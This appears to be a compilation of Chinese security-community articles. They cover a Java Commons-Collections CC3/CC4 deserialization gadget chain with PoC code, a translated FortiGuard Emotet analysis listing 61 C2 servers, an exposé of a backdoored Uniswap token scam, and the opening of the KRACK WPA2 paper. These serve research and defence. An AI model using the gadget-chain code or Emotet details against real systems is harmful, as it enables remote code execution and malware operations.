Class[] paramTypes = new Class[] { String.class };
Object[] argsv = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, argsv);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(chain));
// stub data for replacement later
queue.add(1);
queue.add(1);
Field com = instantiate.getClass().getDeclaredField("iParamTypes");
com.setAccessible(true);
com.set(instantiate,new Class[] { Templates.class });
Field com1 = instantiate.getClass().getDeclaredField("iArgs");
com1.setAccessible(true);
com1.set(instantiate,new Object[] { templates });
// switch method called by comparator
setFieldValue(constant, "iConstant", TrAXFilter.class);
byte[] serializeData=serialize(queue);
unserialize(serializeData);
}
在执行add方法后，将instantiate对象的iParamTypes和iArgs赋值构造好的变量，并把ConstantTransformer对象中的iConstant变量设置为TrAXFilter.class，以此完成最后的利用。
将完整版的代码上传至github
<https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc4-1.java>
<https://github.com/BabyTeam1024/ysoserial_analyse/blob/main/cc4-2.java>
## 0x04 总结
分析过这两个链后，感悟就又不一样了，主要有以下几个方面：
### 0x1 为什么有这两个链
CC3
只有命令部分是比较新颖的，使用的是TrAXFilter类配合插入恶意字节码的templates进行命令执行，但值得注意的是这个新的命令执行可以做到各个commons-collections版本通杀，以至于在CC4
也在使用这个触发方式。那么可以这么说CC3和CC4存在的意义就在于运用这个命令执行方式，以至于前面的触发链和CC1、CC2几乎一样。
### 0x2 命令执行方式是多样化的
在分析CC3的命令执行方式时，介绍了三种相似的利用姿势，但其核心都是利用插入恶意字节码的templates进行命令执行，从这一点来讲都是一样的，不一样的点是怎么触犯templates的newTransformer方法。这三种方式分别是
1. 通过 InvokerTransformer 执行 newTransformer
2. 通过invoke的方式调用 TrAXFilter.class 的getConstructor，newInstance完成有参实例的初始化
3. 利用InstantiateTransformer 直接完成TrAXFilter的实例构建
### 0x3 反射真的很重要
在反序列化利用的过程中处处都有遇到反射，反射调用方法链，反射获取对象变量，反射动态修改对象变量。反射的概念有与Class类有着很大的关联，Class对象是保存类的基础信息的对象，在本文的命令执行方式分析中，用到了很多反射的姿势，有兴趣的小伙伴可以好好研究下。
## 0x05 参考文章
<https://www.anquanke.com/post/id/230788>
<https://www.cnblogs.com/tr1ple/p/12404108.html> | 社区文章 |
导语：FortiGuard研究人员对5月份发现的Emotet恶意软件样本进行了分析。
* * *
FortiGuard研究人员就持续关注Emotet恶意软件的发展，本文对5月初发现的Emotet样本进行深度分析，具体包括解包persistent
payload、与C2服务器的通信、识别硬编码在可执行文件中的C2服务器列表和RSA密钥、以及如何加密收集的数据。
# 恶意word文档
该样本是一个word文档文件。打开word并启用宏后，恶意软件就会开始执行。
图1. 执行PowerShell脚本
可以看出恶意word文档中的VB脚本可以用PowerShell创建新进程。PowerShell的`-e`选项表明接收base64编码的字符串版本的命令。
解码的PowerShell脚本如图2所示：
图2. 调试解码的PowerShell脚本
变量`$YBAAU_D`是一个含有5个URL的列表，可以用来从远程服务器下载payload并执行。下表列出了每个恶意URL、以及从对应URL下载的payload名、md5值和payload大小。
研究人员分析5月初的样本时发现，前2个URL已经无法访问了，剩下3个URL仍然可以访问，这3个payload都是PE文件。
然后，研究人员对其中一个payload进行深入文件。本文的分析是基于payload`p4xl0bbb85.exe`(md5:
`a97cbbd774ca6e61cf9447d713f7cf5d`)的。
# 第一层payload
payload`p4xl0bbb85.exe`是用定制的packer打包的。执行后，会创建三个进程，如下图所示：
图3. payload p4xl0bbb85.exe执行后的进程树
首先用命令行`–f02b3a38`启动进程（`pid:2784`），然后将PE文件`itsportal.exe`写入文件夹`C:\Users\[XXX]\AppData\Local\itsportal`\中。然后，执行`itsportal.exe`。`itsportal.exe`执行后就可以用命令行`–c6857361`启动进程`pid:1980`。最后，退出前3个创建的进程，并将PE文件`p4xl0bbb85.exe`从硬盘中删除。PE文件`itsportal.exe`就是persistent
payload。
图4. persistent payload
# Persistent Payload分析
Payload itsportal.exe有一个定制的packer。研究人员追踪了入口点的几个步骤，发现程序进入了函数`sub_4012E0()`。
图5. 函数`sub_4012E0()`
下面是函数`sub_4012E0()`的C语言伪代码表示：
图6. 函数sub_4012E0()的C语言伪代码表示
在该函数中，恶意软件会调用函数`sub_401440()`来用`VirtualAllocEx()`分配新的内存区域(`0x1D0000`)，设置内存的开始地址加`0x102f0`作为trampoline
address。
然后，在循环中，首先复制`0xf080f8`的数据的`0x7B`字节到新的内存区域，然后继续复制数据。当字节达到`0x37`时，就不会在复制到新的内存区域。复制到内存区域的数据大小为`0x10600`。
然后，用函数`sub_401560()`来解密新的内存区域中的数据，此时trampoline代码就被解密了。然后，就看到程序会跳转到trampoline
code。最后，程序跳转到`0x00401260`来执行指令。
图7. 跳转到0x00401260
如图8所示，程序会跳转到`0x1E02F0`来执行 trampoline代码。
图8. 跳转到trampoline code
trampoline code的主要作用是：
1. 分配大小为0x10000的心的内存区域（0x1F0000），并命名为region A；
2. 复制0x1D0124的数据的0xf600字节到region A；
3. 解密内存region A的数据，解密算法如下：
1. 分配大小为0x14000的新的内存区域(0x200000)，并命名为region B；
2. 复制region A的数据的前0x400字节到内存region B的开始；
3. 复制region A的所有数据段到内存region B；
4. 通过调用进程的地址空间来调用函数UnmapViewofFile(0x400000)来解除其与文件的映射；
5. 调用函数VirtualAlloc(0x400000,0x14000,MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)来执行、读写内存区域；
6. 复制内存区域region B数据的0x14000字节到0x400000；
7. 从trampoline代码的真实入口点(0x4CA90)跳转到执行指令。此时，解包工作就完成了。
下图是内存图，其中标明了分配的内存区域和解包的程序。
图9. 3个分配的内存区域和解包的程序
最后，程序会跳转到真实的入口点0x4C9A0。
图10. 跳转到真实的入口点
这就是如何解包Emotet恶意软件。在解包的程序中，C2服务器列表硬编码在offset`0x40F710`处，公钥硬编码在offset
`0x40FBF0`处。
# 与C2服务器通信
为了调查与C2服务器的通信，研究人员首先获取C2服务器列表。C2服务器是硬编码在可执行文件中的，解包后，研究人员看到了offset`0x40F710`处保存的C2服务器列表，如图11所示。
图11. 硬编码的C2服务器列表
全局变量保存在`0x004124A0`处，结构如下所示：
struct g_ip_port_list
{
DWORD *c2_list;
DWORD *current_c2;
DWORD size;
DWORD current_c2_index;
}
成员变量`c2_list`指向硬编码的C2服务器列表缓存，列表中的每一项都包含IP地址和端口对。大小为8字节，前4个字节表示IP地址，之后的2个字节表示端口。成员变量`current_c2`指向当前选择的C2服务器。成员变量size表示C2服务器列表的大小，成员变量`current_c2_index`表示C2服务器列表中当前选定的C2服务器的索引。
样本中共含有61个C2服务器，分别是：
· 200.58.171.51:80
· 189.196.140.187:80
· 222.104.222.145:443
· 115.132.227.247:443
· 190.85.206.228:80
· 216.98.148.136:4143
· 111.67.12.221:8080
· 185.94.252.27:443
· 139.59.19.157:80
· 159.69.211.211:8080
· 107.159.94.183:8080
· 72.47.248.48:8080
· 24.150.44.53:80
· 176.58.93.123:8080
· 186.139.160.193:8080
· 217.199.175.216:8080
· 181.199.151.19:80
· 85.132.96.242:80
· 51.255.50.164:8080
· 103.213.212.42:443
· 192.155.90.90:7080
· 66.209.69.165:443
· 109.104.79.48:8080
· 181.142.29.90:80
· 77.82.85.35:8080
· 190.171.230.41:80
· 144.76.117.247:8080
· 187.188.166.192:80
· 201.203.99.129:8080
· 200.114.142.40:8080
· 43.229.62.186:8080
· 189.213.208.168:21
· 181.37.126.2:80
· 109.73.52.242:8080
· 181.29.101.13:80
· 190.180.52.146:20
· 82.226.163.9:80
· 200.28.131.215:443
· 213.172.88.13:80
· 185.86.148.222:8080
· 190.117.206.153:443
· 192.163.199.254:8080
· 103.201.150.209:80
· 181.30.126.66:80
· 200.107.105.16:465
· 165.227.213.173:8080
· 81.3.6.78:7080
· 5.9.128.163:8080
· 69.163.33.82:8080
· 196.6.112.70:443
· 37.59.1.74:8080
· 23.254.203.51:8080
· 190.147.116.32:21
· 200.45.57.96:143
· 91.205.215.57:7080
· 189.205.185.71:465
· 219.94.254.93:8080
· 186.71.54.77:20
· 175.107.200.27:443
· 66.228.45.129:8080
· 62.75.143.100:7080
然后，分析发送到C2服务器的流量。在样本中，发送给C2服务器的数据是以`HTTP POST`请求的方式发送的。
图12. 抓取的发给C2服务器的流量
HTTP session如下图所示。HTTP body数据是用URL编码算法编码的：
图13. HTTP session数据
在执行URL解码后，可以看出数据是用base64编码的。经过base64解码后，可以看到真实的数据是经过加密的。下一部分介绍HTTP
body数据使用的解密算法。
图14. 解码的HTTP body数据使用URL解码和base64解码
# 加密算法
Emotet恶意软件可以收集诸如`host name`、运行在受感染的机器上的进程列表等信息。下面是收集的数据集：
图15. 收集的数据的结构
然后，将收集的数据用Deflate算法压缩：
图16. 用Deflate算法压缩数据
然后，恶意软件会用session key将图16中的压缩数据进行加密，并用AES和session key、哈希值和加密的数据打包，session
key是用RSA公钥算法加密的。
图17. 打包后的数据结构
用RSA公钥加密的Session key大小为`0x60`字节，哈希值的大小为`0x14`。
将这3部分数据打包后，恶意软件会继续用base64来编码打包的数据，然后用URL编码算法进行编码。最后就组成了要发送给C2服务器的http body数据。
图18. HTTP body data
从通信的角度来看，程序必须要处理来自C2服务器的响应数据，首先解密HTTP响应数据，然后用Deflate算法解码对应的数据。
RSA密钥硬编码在解包的程序的offset`0x0040FBF0`处，大小为`0x6A`字节。
图19. 硬编码的RSA密钥
# 结论
Emotet是一款复杂的恶意软件，其中使用了高级的定制packer和复杂的加密算法来与C2服务器进行通信，并含有其他高级功能。它会从C2服务器提取出攻击payload和其他相关的恶意软件payload。这些攻击payload的目的都是从受害者处窃取敏感信息。
预告：下一篇关于Emotet的文章将介绍如何解包Emotet可执行文件并从可执行文件中提取出硬编码的C2服务器列表和RSA密钥。
本文翻译自：<https://www.fortinet.com/blog/threat-research/deep-dive-into-emotet-malware.html> | 社区文章 |
# Defi？Uniswap 项目漏洞教程新骗局
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：极光 @ 知道创宇404区块链安全研究团队
## 前言
昨晚突然看到群里的一个消息，`揭秘uniswap-defi项目漏洞-割韭菜新手法`，心想还有这事？
而且还是中英文介绍。
到底什么是`DeFi`？，网络上有很多关于
`DeFi`的定义，目前通用的定义是这样的：`DeFi是自己掌握私钥，以数字货币为主体的金融业务`这个定义包含三个层面的意思：
* 自己掌握私钥
* 以数字货币为主体
* 金融业务
DeFi是Decentralized Finance（去中心化金融）的缩写，也被称做Open
Finance。它实际是指用来构建开放式金融系统的去中心化协议，旨在让世界上任何一个人都可以随时随地进行金融活动。
在现有的金融系统中，金融服务主要由中央系统控制和调节，无论是最基本的存取转账、还是贷款或衍生品交易。DeFi则希望通过分布式开源协议建立一套具有透明度、可访问性和包容性的点对点金融系统，将信任风险最小化，让参与者更轻松便捷地获得融资。
几年前区块链行业还没有`DeFi`这个概念，从默默无闻，一跃成为区块链行业的热门话题，`DeFi`只用了短短几年时间。`Uniswap`作为完全部署在以太坊链上的DEX平台，促进ETH和ERC20
代币数字资产之间的自动兑换交易，为`DeFi`发展提供了良好的支持。
作者抓住当下区块链热门话题`DeFi`作为文章主题介绍如何利用
`uniswap-defi项目漏洞`割韭菜。很显然经过精心思考。
## 分析
打开教程链接，原文教程提醒
Full open source code----only for research and testing, don't cheat using this method
作者特别提醒：完全开放源码——仅用于研究和测试，不要使用这种方法作弊。
教程中提到合约代码可以在如下链接下载
Click to enter edit mode and copy the code into it
(download address of the contract code:https://wwr.lanzous.com/i4MJOg6f2rg)
根据教程提供的链接，下载代码查看
首先看到`onlyOwner`函数，而且条件判断中的address是硬编码的，这里说一下以太坊中的地址
* 以太坊地址
>
> 以太坊中的地址的长度为20字节，一字节等于8位，一共160位，所以address其实亦可以用uint160来声明。以太坊钱包地址是以16进制的形式呈现，我们知道一个十六进制的数字占4位，160
> ／ 4 = 40，所以钱包地址ca35b7d915458ef540ade6068dfe2f44e8fa733c的长度为40。
很明显，攻击者特意使用uint160来编码地址，起到了障眼法作用。如果不认真看，不会注意到这个address函数转换后的地址。
通过对地址进行转换
即：`address(724621317456347144876435459248886471299600550182)`
对应地址：`0x7eed24C6E36AD2c4fef31EC010fc384809050926`，这个地址即位合约实际控制账户地址。
继续往下看原文教程
首先部署合约
然后添加到 `Uniswap v1` 资金池
这里介绍下 `Uniswap`
* Uniswap V1
Uniswap V1基于以太坊区块链为人们提供去中心化的代币兑换服务。Uniswap
V1提供了ETH以及ERC20代币兑换的流动性池，它具有当前DeFi项目中最引人注目的去中心化、无须许可、不可停止等特性。
Uniswap V1实现了一种不需要考虑以上特点的去中心化交易所。它不需要用户进行挂单（没有订单），不需要存在需求重叠，可以随买随卖。得益于 ERC20
代币的特性，它也不需要用户将资产存入特定的账户。Uniswap V1模型的优点在于根据公式自动定价，通过供需关系实现自动调价。
Uniswap V1的运行机制的关键在于建立了供给池，这个供给池中存储了 A 和 B 两种货币资产。用户在用 A 兑换 B 的过程中，用户的 A
会发送到供给池，使供给池中的 A 增多，同时，供给池的 B 会发送给用户。这里的关键的问题在于如何给 A 和 B 的兑换提供一个汇率（定价）。
Uniswap V1定价模型非常简洁，它的核心思想是一个简单的公式 x * y = k 。其中 x 和 y 分别代表两种资产的数量，k
是两种资产数量的乘积。
假设乘积 k 是一个固定不变的常量，可以确定当变量 x 的值越大，那么 y 的值就越小；相反 x 的值越小，y 的值就越大。据此可以得出当 x 被增大 p
时，需要将 y 减少 q 才能保持等式的恒定。
为了做一些更实用的工作，将 x 和 y 替换为货币储备金的储备量，这些储备金将被存储在智能合约中。
即用户可以把部署的合约可以添加到`Uniswap
V1`中，通过充入资产提供流动性，获得该资金池（交易对）产生的交易手续费分红，过程完全去中心化、无审核上币。
接着
You don't have to worry that you will lose money, because other people can only buy and can't sell it in this contract. When the trading pair is created, you can change for another wallet (the wallet address of the contract can be bought and sold) to buy it, and then test whether it can be sold. Here's the information for selling`
这是为什么？看看代码
合约代币101行，`require(allow[_from] ==
true)`，即`转账地址from`需要在`allow`这个mapping中为布尔值`true`。
而修改`allow`在`addAllow`函数中，且需要合约`Owner`权限。
通过合约`Ownable`代码第13行可知，`onlyOwner`属性中，只有地址为`724621317456347144876435459248886471299600550182`即前面提到的`0x7eed24C6E36AD2c4fef31EC010fc384809050926`用户可以通过校验，而且是硬编码。这也是原文攻击者为什么使用了以太坊地址的uint160格式来编码地址，而不是直观的十六进制地址。
最终部署的合约SoloToken直接继承了`Ownable`合约
即只要用户部署该合约，合约`Owner`权限都在攻击者`0x7eed24C6E36AD2c4fef31EC010fc384809050926`手中。攻击者可以随时转移合约权限。
在教程中攻击者还提到
如果你想吸引买家，资金池必须足够大，如果只投入1-2个ETH，其他人将无法购买它，因为基金池太小。即希望部署合约的用户在资金池中添加更多的eth数量。攻击者为什么要单独`Notice`呢？
合约代码第124行，`mint`函数，`Owner`权限用户可以直接增发代币。这是合约最关键部分。即攻击者可以直接在合约中给指定地址增发代币，然后利用增发得来的代币去`Uniswap
V1`直接兑换合约部署用户存放在 `Uniswap V1` 资金池中的 `eth` 。这也是为啥教程作者着重提示多添加 `eth` 数量的根本原因。
截止目前，攻击者地址`0x7eed24C6E36AD2c4fef31EC010fc384809050926`中已经获利大约`36eth`。
## 总结
`Uniswap` 因无需订单薄即可交易的模型创新引来赞誉，也因投机者和诈骗者的涌入遭到非议，在业内人士看来，`Uniswap`
的自动做市商机制有着特别的价值，作恶的不是`Uniswap`，但恶意与贪婪正在这个去中心化协议中一览无余。
流动性挖矿点燃DeFi烈火，火势烧到去中心化交易所Uniswap。它凭借支持一键兑币、做市可获手续费分红，迅速成为最炙手可热的DeFi应用之一。
财富故事在这里上演，某个新币种可能在一天之内制造出数十倍的涨幅，让参与者加快实现「小目标」；泡沫和罪恶也在此滋生，完全去中心化、无审核上币，让Uniswap成了人人可发币割韭菜的温床。
`DeFi`作为当下区块链热门话题，很容易吸引人们的注意。攻击者利用人们贪图便宜的好奇心理。使用所谓的 `uniswap-defi项目漏洞`
教程一步一步带用户入坑。以当下区块链中最火的`DeFi`类为主题，分享了 `揭秘uniswap-defi项目漏洞-割韭菜新手法`
教程。如果用户不注意看合约代码，很容易掉入攻击者精心构造的陷阱中去。成为真正的`韭菜`。
## REF
[1] UNISWAP issuing tokens-enhancing tokens (consumers can only buy but can
not sell)
[https://note.youdao.com/ynoteshare1/index.html?id=a41d926f5bcbe3f69ddef765ced5e27b&type=note?auto](https://note.youdao.com/ynoteshare1/index.html?id=a41d926f5bcbe3f69ddef765ced5e27b&type=note?auto)
[2] 代币合约
<https://wwr.lanzous.com/i4MJOg6f2rg> | 社区文章 |
# 【安全报告】密钥重载攻击：强制WPA2重用Nonce
|
##### 译文声明
本文是翻译文章，文章来源：mathyvanhoef.com
原文地址：<https://papers.mathyvanhoef.com/ccs2017.pdf>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[Luojun, Xiaoxiong, Chenyuanhao
@360CERT](http://bobao.360.cn/member/contribute?uid=2910463042)
**0x00 摘要**
本文我们将介绍密钥重载攻击，这种攻击滥用了加密协议的设计和实现来重装一个已经在使用的key。重置和key相关的参数，例如传输的nonces和重传计数器。一些加密的Wi-Fi握手包也会受到该攻击影响。
所有受保护的Wi-Fi网络使用四次握手来产生一个新的session key。目前为止，握手协议已经使用了14年，一度被认为很安全，可以免受攻击。但是，
**本文证明了在密钥重载攻击面前四次握手协议是脆弱的。**
攻击者通过操作和应答握手信息来欺骗受害者重新安装一个已经在使用的key。当密钥重载时，相关的参数例如传输包的增长序列（nonce）和重传计数器被重置为初始值。密钥重载攻击也能破坏PeerKey，组密钥和Fast
BSS Transition（FT）握手协议。该影响取决于握手协议是否被攻击以及使用的数据加密协议。简单来说，针对AES-CCMP的攻击者可以应答和解密（不是伪造）握手包。这使得劫持TCP流并注入恶意数据变得有可能。而对于WPA-TKIP和GCMP允许应答、解密和伪造包影响是灾难性的。因为GCMP在传输的双方使用相同的key，影响尤为严重。
最后，我们在实践中验证了我们的观点，并发现每个Wi-Fi设备都有可能受到一些变种攻击的影响。值得注意的是，Android 6.0
强制客户端使用初始值全为零的加密key，使得我们的攻击对其影响是巨大的。
关键词：安全协议；网络安全；攻击；密钥重载；WAP2；nonce重用；握手包；包序列；初始向量
**0x01 介绍**
所有使用WPA/2协议的Wi-Fi网络被认为是安全的。更有甚者，由于Hotspot2.0，现在公共的热点也能用这种加密认证[7]。所有这些技术都依赖于四次握手协议，该协议被定义在802.11中的802.11i修正案中。本文我们将展示四次握手的设计流程和相关的握手包，因为我们认为这些握手包以及WPA和WPA2认证的产品都会受我们攻击的影响。
四次握手提供了相互认证和会话密钥协商协议，连同（AES）-CCMP，数据保密和完整性协议，构成了802.11i修正案的基础。作为802.11i的核心部分，自从2003年第一次被命名为WPA被引入，它就免受了攻击。实际上，802.11i目前已知的弱点是在（WPA-）TKIP[57,66]。其数据保密协议被设计作为破旧的WEP协议的一个短期解决方案。
**换句话说，TKIP从来没有打算作为一个长期的安全解决方案。** 此外，虽然过去几年有几次针对Wi-Fi网络的攻击被发现，
**但都不是利用802.11i协议。** 而是
**利用WPS[73]，有缺陷的驱动程序[13,20]，有缺陷的随机数字生成器[72]，可预测的预共享密钥[45]，不安全的企业认证[21]等等**
。在CCMP和四次握手里没有发现重大的弱点。这并不奇怪，毕竟，两者都被正式证明是安全的[39,42]。考虑以上几点，人们可以合理地假设四次握手确实是安全的。
尽管历史证明它是安全的，但我们可以证明四次握手面对密钥重载攻击是脆弱的。此外，我们发现了其他Wi-Fi握手协议中有相似的缺陷。这意味着，我们也能攻击PeerKey握手，组密钥握手和Fast BSS Transition (FT) 握手。
我们攻击背后的原理在事后看来其实很简单。概括如下：
当客户端加入一个网络时，它会执行四次握手来协商得到一个新的会话key。在接收到握手的Message 3后，它会安装该key。
**一旦key被安装，它将被用于数据保密协议来加密正常的数据帧**
。但是因为消息可能丢失，如果没有收到合适的响应作为应答，接入点（AP）将重发Message 3。所以，于是客户端可能收到多次的Message
3。每次接收到该消息，客户端就会重新安装相同的会话密钥，从而重置不断增长的传输包的序列号（nonce）以及数据保密协议使用的重传计数器。我们证明了攻击者可以通过收集和重发Message
3来强制重置nonce。通过临时重置nonce，可以攻击数据保密协议。例如，数据包可以被重放，解密，或伪造，这样的技术也可以用来攻击组密钥，PeerKey，fast
BSS Transition。
当四次握手或fastBSS 握手被攻击时，影响的大小取决于使用的数据保密协议。如果是使用CCMP，任意数据包都可以被解密，反之，这可以用来解密TCP
SYN包来挟持TCP连接。例如，攻击者可以注入恶意内容到未加密的HTTP连接中。如果是使用TKIP或GCMP，攻击者可以解密并注入任意包。尽管GCMP是一个相对较新的Wi-Fi协议，预计在今后几年中会有很高的采用率。最后，当组密钥握手被攻击时，攻击者可以重放组寻址帧，即广播和多播帧。
我们的攻击对于wpa_supplicant（Linux系统常用的Wi-Fi客户端）2.4版本和2.5版本影响巨大，该客户端将安装一个全零的加密key而不是重装一个真实的key。该漏洞由802.11标准中的一句话引发：如果会话密钥已经被安装，建议从内存中清除部分的会话密钥[1,
§12.7.6.6]。 **因为Android使用了改进的wpa_supplicant，所以Android 6.0和Android Wear
2.0也包含此漏洞** 。因此，目前31.2%的Android设备很容易受到这种攻击变种的破坏。[ 33 ]
有趣的是，我们的攻击并不违反四次握手和组密钥握手被证明的安全属性。特别值得一提的是，这些证明表明协商的会话密钥仍然是私有的，并且客户端和接入点（AP）的身份是被确认的。我们的攻击不会泄露会话密钥。（另外，虽然使用TKIP或GCMP可以导致正常的数据帧被伪造，但是攻击者不能伪造EAPOL消息，因此不能在握手期间伪装成客户端或AP，所以不能模拟key的安装。不同的是，当一个协商key应该被安装时，他们的模型不能阐述。）实际中，
**这意味着相同的key可以被安装多次，从而重置nonces和数据保密协议使用的重传计数器。**
总之，本文的主要阐述如下：
（1）我们介绍了密钥重载攻击，攻击者强制重载一个已经使用过的key，从而重置任何相关的nonces或重传计数器。
（2）我们认为四次握手，PeerKey握手，组密钥握手和fast BSS transition握手容易受到密钥重载攻击。
（3）我们在实践中实施了我们的攻击，这表明所有的实现都易受某些变种的攻击。
（4）我们评估了所有802.11的数据保密协议重用nonce的影响。
本文的其余部分如下：
第二节将介绍802.11标准的相关方面。第三节主要阐述针对四次握手和PeerKey握手的密钥重载攻击。第四节则是针对组密钥的描述。第五节描述针对fast
BSS
transition握手的攻击。在第六节，我们将描述攻击的影响，提出对策，解释安全性失败的原因，并讨论吸取的教训。最后我们会在第七节介绍本文的相关工作，并在第八节进行总结。
**0x02 背景**
这个章节主要介绍802.11i修正协议，在连入WiFi网络时的各种消息和协议和802.11中使用的各种数据机密性完整性协议。
**2.1 802.11i修正协议**
在WEP安全性从根本上打破之后，IEEE提供了一个更加健壮的解决方式，使用802.11i作为802.11的修正协议。修正协议定义了四次握手和两个数据机密性、完整性协议WPA-TKIP和AES-CCMP。尽管802.11i修正案还在开发中，WiFi联盟开始根据802.11i D3.0版本的草案来验证设备。验证程序叫做 **WiFi
Protected Access（WPA）** 。一旦802.11i
的D9.0最终版本被批准，WPA2的认证就建立在这个正式批准的版本上。因为WPA和WPA2都是基于802.11，所以在技术水平上两者几乎相同的。最主要的区别是WPA2要求支持更安全的CCMP，可选使用TKIP，而WPA是相反的。
因为功能需求，WPA和WPA2都采用四次握手保护WiFi网络。企业版网络也是依赖于四次握手。因此所有使用四次握手的WiFi网络都被这次攻击影响。
四次握手，组密钥握手和CCMP协议都正式被分析和证明是安全的
**2.2 身份验证和连接**
当客户端要连接WiFi网络，自动开始（互相）身份验证和连接。图2描述了连接阶段的握手。但是当第一次连接到网络时，是没有实际的身份验证。相反，使用了开放系统身份验证，对客户端进行身份验证。实际身份验证在四次握手中使用。但真正的身份认证仅在两个采用fast
BSS transition握手协议的相同网络AP之间漫游时使用。
在开放式身份验证之后，客户端连接到网络中。通过客户端向AP发送一个连接请求完成。这条消息包含客户端希望使用的成对的密码组。AP回复一个连接响应，通知客户端连接是否被成功建立。
图1
图2
**2.3 四次握手**
四次握手提供相互身份验证，基于共享密钥技术，这种技术称为成对的主密钥Pairwise Master
Key(PMK)，并协商一个新的会话秘钥PairWiseTransient Key（PTK）。在这次握手中，
**客户端称为supplicant，而AP称为authenticator**
，PMK由个人网络中的预共享密码生成，在企业网络中使用802.1x身份验证来进行协商。PTK由PMK，Authenticator Nonce
(ANonce), Supplicant Nonce
(SNonce)和supplicant和authenticator使用的MAC地址派生而来。一旦生成，PTK被分割成确认key(KCK),加密Key(KEK)，和临时Key(TK)，确认Key和加密Key使用来保护握手消息，TK和数据机密性协议是用来保护正常数据帧，如果使用了WPA2，四次握手协议也传输现在的Group
Temporal Key组临时密钥（GTK）到supplicant。
四次握手中的每一条消息都是使用EAPOL帧格式。（如图1）对字段进行介绍
首先，消息的头部定义了所代表的消息类型，我们将使用message n和MsgN来代表四次握手中第n段消息。
Replay count（重放计数器）字段用于检测重放的数据帧：authenticator在发送一个帧之后会自增长，当supplicant对
authenticator发送的EAPOL帧做出应答时，它使用相同的replay count。
Nonce字段是一个随机的nones值，这个随机值是supplicant和authenticator在生成新的会话秘钥这一步骤产生的。
接下来，如果EAPOL帧传输一个组密钥，RSC（接受序列）包含了key起始包号。
组密钥是存储在Key Data字段，使用加密Key(KEK)加密。
最后，使用消息确认Key(KCK)来进行完整性校验. MIC（MessageIntegrity Check）
图2表示了四次握手时消息的传输格式。我们使用一下的符号标记
**MsgN(r,Nonce; GTK)**
表示：四次握手中的第N条消息，重放计数器 replay count 为r，给定的nonce,在’;’之后的参数都存储在数据域中，也就是说会使用KEK加密。
（1）Authenticator 通过发送message 1来初始化四次握手。包含ANonce，是唯一一个没有MIC(完整性校验) EAPOL 格式消息。
（2）当收到消息时，suplicant 生成一个 SNonce
而且导出PTK，suplicant发送message2给authenticator，message2包含了（SNonce）。
（3）authenticator收到SNonce，也会导出PTK。并且发送组密钥GTK给supplicant。
（4）supplicant在安装PTK和GTK 之后回复message4，
authenticator收到message4之后也会安装PTK，其中GTK在AP启动时就已经安装。
1,2条消息使用来传输nonces，最后两条消息是用来传输组密钥 而且使用抵御降级攻击
注意：在已经存在的连接中，PTK可以被刷新通过初始化新的四次握手。在密钥重载的过程中，所有的四次握手消息都是使用PTK完成数据机密性加密的。
**2.4 机密性和完整性协议**
802.11i修正协议定义了两个数据级机密性协议，第一个是TKIP（Temporal Key Integrity
Protocol）暂时完整性协议。现在因为安全考虑TKIP被弃用。第二个是（AES-）CCMP，CCMP是目前最广泛使用来保证数据机密性的协议，在2012年，802.11修正协议中增加了新的数据机密性协议Galios/Count
Mode Protocol（GCMP）。这个修正协议也增加了在60GHz带宽的short-range信息交互，这需要一个能够快速计算的密码（fast
cipher），比如GCM。
现在802.11ad修正协议在WirelessGigabit（WiGig）中推广，而且预期在接下来几年被更快速广泛的采用。最后，802.11ac修正协议通过加入256位的key更佳的拓展了GCMP
当TKIP使用的时候，PTK的一部分：TK（暂时密钥）被分隔称为一个128位加密密钥，两个64位的MIC消息完整性检测key。第一个MIC使用在无线网热点对终端方向的消息发送，第二个则相反。这个加密使用了RC4，每个包密钥都是独特的，通过128位加密秘钥，发送者的MAC地址，和增长的48位nonce。Nonce每发送一个帧都会自动增长，用做重放计数器，当安装TK时会重置为1。通过Michael
算法来确认消息的权威性，但是Michael算法是可逆的，给一个明文和MIC值，就可以有效的恢复MIC密钥。
CCMP协议是基于AES在CCM模式下的加密方式（CBC-MAC的计数器模式）。这是一种身份验证加密，使用了Associated
Data（AEAD）算法，只要特定的Key中没有重复的初始化向量就是安全的。在CCMP中，这个初始化向量是发送者MAC地址，48位nonce和一些传输帧中额外flags的组合。这个nonce也会被用作接受者的重传计数器，每次发送后都会增加1，再TK重新安装则会被初始化为0.这样可以保证初始化向量不会重复。另外的，这个构造允许TK可以被直接做为信道两个方向交互的key。
GCMP协议是基于AES-GCM，意味着使用了同样的加密计数器模式，得到的密文使用GHASH功能进行验证。和CCMP相同，是一个AEAD加密，只要在特定的key中初始化向量没有重复就可以保证安全，在GCMP中nonce作用也一样，在安装TK之后会被置为0.通常保证初始化向量只使用一次，TK可以作为交互双方的密钥，两个消息传递方向使用TK作为key。一旦nonce被重复了，就有可能重构GHASH功能使用的验证密钥。
为了表示数据帧是通过数据机密性协议加密而且验证的，使用下面的符号标记
n
表示nonce（也就是重放计数器）。参数k表示key，表示单播流量中的PTK。为了向组地址发送流量：比如广播和组播帧，使用GTK（组密钥）。最后使用两个标记符
Data(payload) 表示向单一地址发送
GroupData(payload) 向多个地址（组地址发送）
**2.5 组密钥握手**
Authenticator
周期性刷新组密钥，而且向所有的客户端发送组密钥，使用这些组密钥来进行握手。这些握手环节被证明是安全的，在图2的最后阶段。Authenticator
初始化所有的握手通过发送组消息 message1 给所有的客户端。Supplicant通过回复组message
2来确认收了了新的组密钥。取决于实现，Authenticator安装GTK可以在发送group
Message1之后也可以在收到所有客户端的连接请求之后。最后group message 1
也包含了现有组密钥的收到重放计数器，这个字段是图1的RSC字段所有的组密钥握手消息都是使用EAPOL格式帧，使用Group1和Group2在图2中代表。注意组消息1存储了新的组密钥在数据字段中（使用KEK确认密钥加密）、所以只要PTK被安装之后，完整的EAPOL格式帧都被数据机密性协议保护。
最后，当客户端发送一个广播或者多播帧，她首先需要发送单播给AP，AP对这个数据帧使用组密钥加密，然后广播给所有的客户端。这保证了所有的在AP范围内的客户端都能收到消息。
**0x03 攻击四次握手**
**3.1 请求状态机**
